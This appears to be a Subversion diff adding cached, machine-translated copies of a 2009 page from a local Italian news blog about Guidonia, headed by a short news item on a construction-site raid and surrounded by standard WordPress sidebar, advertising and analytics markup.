of the legendary concert of a Moro Guidonia of ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > Classifieds</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > July: 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="monday"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="tuesday"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="Wednesday"> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="thursday"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="friday"> <span  > V</span> </th><th abbr=sabato scope=col title="Saturday"> <span  > S</span> </th><th abbr=domenica scope=col title="sunday"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=en" >Â«Jun</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=en" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=en" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=en" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > Translator</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="Subscribe to this content"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?lang=en" >Fast Blog News</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/#39;last night), the PDL of Town Councilor and member of the Security Committee, Ludovico Todini said &quot;Primavalle, Guidonia Ardeatina and so the list goes on of rapes on a daily whose victims will ... Tags: Louis primavalle Todini Guidonia fac [...]"">Comune di Roma - Todini (PDL): rapes, measuring or &#39;fills</a></span> </li><li><span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - The railway line of the &#39;outcastes&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL Roma G: Prevention and Safety at Work</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Woman killed by lightning in lazio</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;in onda &quot;L&#39;Aquila, houses without cement. Here&#39;s the evidence. &quot; The posted, Enzo Cappucci, had dug in the rubble in the Abruzzo region and has found evidence of lightness, lack of controls, the criminal carelessness with which many houses were built. The ... Tags: enzo caps abruzzo RaiNews24 rai roma a [...]"">Rai on cement</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;in onda&#39;&#39;L&#39;Aquila, houses without cement. Here&#39;s the evidence&#39;&#39;. The sent of Rainews24, Enzo Cappucci, had dug in the rubble in the Abruzzo region and has found evidence of lightness, lack of controls, the criminal carelessness with which many houses were ... Tags: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, houses without cement&#39;&#39;</a></span> </li><li><span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">Armed with antique pistol robbed at hotel</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">By July 23 subscriptions to regional C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">The management of post-operative pain wins &quot;and the rock &#39;stretch&#39; e. ..</a></span> </li><li><span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Women and Democracy.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Fear, lies and &quot;myth.&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;populace&#39; demands ... Tags: power Circeo home exhibitions donatella with [...]"">Women and Democracy.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;populace&#39; demands ... Tags: power Circeo home exhibitions donatella with [...]"">Fear, lies and &quot;myth&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/#39;s worth it! Here are the sites of major chains ... Tags: stardust faenza Beinasco ancon var [...]"">Transformers premieres on Thursday June 25 are the cinema</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html#39;solitary&#39; Antonio Lombardi affannosa is rebuilding, here&#39;s the first tick dowel. With a press of the press and always on time, appeared on the site of the grenade club, accompanied by the usual explanations of the rite, is now officially a news note from ... Tags: luca genoas Fusco Rozzano tommaso bern [...]"">Salernitana: Diesse Acri, Fabiani digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">Elections, and Guidonia Source New to center</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=en" >GuidoniaPuntoNet (in progress).</a> Link: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">Elections Online</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="website statistics" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="website statistics"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html>
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/es/_wp__p=6287&lang=es
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/es/_wp__p=6287&lang=es	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/es/_wp__p=6287&lang=es	(revision 44)
@@ -0,0 +1,72 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6287 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> Blitz edificio en las obras de construcciÃ³n: 32 personas detenidas - diario - GuidoniaPuntoNet (en curso) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (en curso) RSS" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6287&rurl=translate.google.com&lang=it&usg=ALkJrhiAljO5trvVdtOEBjbzhgYY1OEXMA" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="predeterminado" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="rosa" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="verde" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="pÃºrpura" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="rojo" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="azul" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (en curso) &quot;ConstrucciÃ³n de Blitz en las obras de construcciÃ³n: 32 personas detenidas - diario comentarios de alimentaciÃ³n" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="DTR" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (en curso)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia en WebTV" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="ADJUDICACIÃN DE ROTATIVO GIORNALISTICA / en memoria de Grazio AMMATURO ... - UnoNotizie.it" href=http://www.guidonia.net/wp/?p=6291 /><link rel=next title="Gdf, grandes incautaciones de productos falsificados por 20 millones - Il Sole 24 Ore" href=http://www.guidonia.net/wp/?p=6288 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=es" >GuidoniaPuntoNet (en curso)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=es" >Inicio</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=es" >Sobre</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=es" >Contactos</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="bÃºsqueda" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6287><h2> <span  > <a href="http://www.guidonia.net/wp?p=6287&lang=es" >Blitz edificio en las obras de construcciÃ³n: 32 personas detenidas - il Giornale</a></span> </h2><p class=meta-header> <span  > Recibida el 02 de Julio de 2009 en <a href="http://www.guidonia.net/wp?cat=1&lang=es" >Guidonia Noticias</a> por admin</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.ilgiornale.it/a.pic1?ID=363305&usg=AFQjCNHMUvikvEMwctbLfYSqoZXqgNJ0GQ">Blitz edificio en las obras de construcciÃ³n: 32 personas detenidas</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>Il Giornale</b></font></font></span> <br /> <span  > <font size=-1>Las inspecciones se centraron en zonas al este de Roma, el comÃºn Colleferro, <b>Guidonia Montecelio,</b> Arsoli, Capena y ancianos. <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=d6kg50PNcAxMjVM"><font class=p size=-1><b>mÃ¡s Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > Deje una contestaciÃ³n</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6287#respond style=display:none;&lang=es" ><small>Haga clic aquÃ­ para cancelar respuesta.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>Nombre (requerido)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>Mail (no serÃ¡ publicado) (requerido)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>Sitio Web</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>Comentarios</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="Enviar comentario" class=box /><input type=hidden name=comment_post_ID value=6287 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Azul</a> <a href="http://www.guidonia.net/">Rosa</a> <a href="http://www.guidonia.net/">Verde</a> <a href="http://www.guidonia.net/">PÃºrpura</a> <a href="http://www.guidonia.net/">Rojo</a></span> </p><div class="about box"><h3> <span  > InformaciÃ³n</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: ideas para la web</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>Ideas en la bÃºsqueda de financiaciÃ³n: <a href=mailto:info@guidonia.net>en contacto con nosotros</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > Puede permanecer aÄ¡Ä¡ornata a travÃ©s de <a href="http://www.guidonia.net/wp?feed=rss2&lang=es" >RSS.</a></span> </div><div class=col><div class=box><h3> <span  > VÃ­deos sobre Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=es" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansarda Centro Guidonia" src=http://i.ytimg.com/vi/z32gTXwZyq0/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > CENTRO guidonia, anuncio.</span> <span  > Viale Roma y la estaciÃ³n de tren ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=es" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Palabras y sonidos DÃ­as - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Piezas del legendario concierto de uno de Guidonia Moro ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=es" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Piezas del legendario concierto de uno de Guidonia Moro ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=es" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - El Significado De Todo Es - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Piezas del legendario concierto de uno de Guidonia Moro ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=es" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - No ImportaciÃ³n - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Piezas del legendario concierto de uno de Guidonia Moro ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > Clasificados</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > Julio: 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="lunes"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="martes"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="MiÃ©rcoles"> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="jueves"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="viernes"> <span  > V</span> </th><th abbr=sabato scope=col title="SÃ¡bado"> <span  > S</span> </th><th abbr=domenica scope=col title="domingo"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=es" >Â«Junio</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=es" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=es" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=es" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > Traductor</span> </h3>
